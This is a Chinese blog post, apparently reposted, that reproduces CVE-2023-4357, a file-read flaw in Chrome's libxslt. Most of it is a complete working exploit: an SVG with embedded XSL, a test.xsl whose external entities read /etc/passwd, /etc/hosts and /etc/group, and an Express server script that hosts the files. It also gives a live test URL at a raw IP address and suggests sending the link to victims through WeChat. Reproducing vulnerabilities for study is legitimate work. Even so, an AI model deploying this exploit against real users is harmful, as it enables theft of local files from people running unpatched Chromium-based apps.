Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

1.漏洞描述

该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限

影响版本

Google Chrome < 116.0.5845.96

依赖Chromium内核的组件,如vscode、微信等。

2.漏洞复现

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

该测试 URL:http://188.68.220.248/js.svg

参考链接:https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

在这里插入图片描述

通过了解POC需要配置三个文件

1.test.svg文件内容

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
	<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
		<foreignObject id="myObj" width="1000" height="1000">
		    <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
			<a href="#">#Copy me#</a><br/>
			XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
			Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
			Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
			document() <xsl:copy-of  select="document('test.xsl')"/>
		    </div>
		</foreignObject>
	</svg>
 </xsl:template>
</xsl:stylesheet>

2.test.xsl文件内容

扫描二维码关注公众号,回复: 17173886 查看本文章
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]> 

<p>
  <p style="border-style: dotted;">/etc/passwd: 
&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:
&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:
&group;
  </p>
</p>

3.server.js文件内容

const express = require('express');
const path = require('path');

const app = express();
const port = 3000;

app.get('/test.svg', (req, res) => {
  res.sendFile(path.join(__dirname, 'test.svg'));
});

app.get('/test.xsl', (req, res) => {
  res.set('Access-Control-Allow-Origin', '*');
  res.sendFile(path.join(__dirname, 'test.xsl'));
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

将这三个文件放到服务器上,手机微信点击访问:

http://xxx.xxx.xxx.xxx/test.svg

在这里插入图片描述

可以看到复现成功,成功读取本地文件。

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/134477830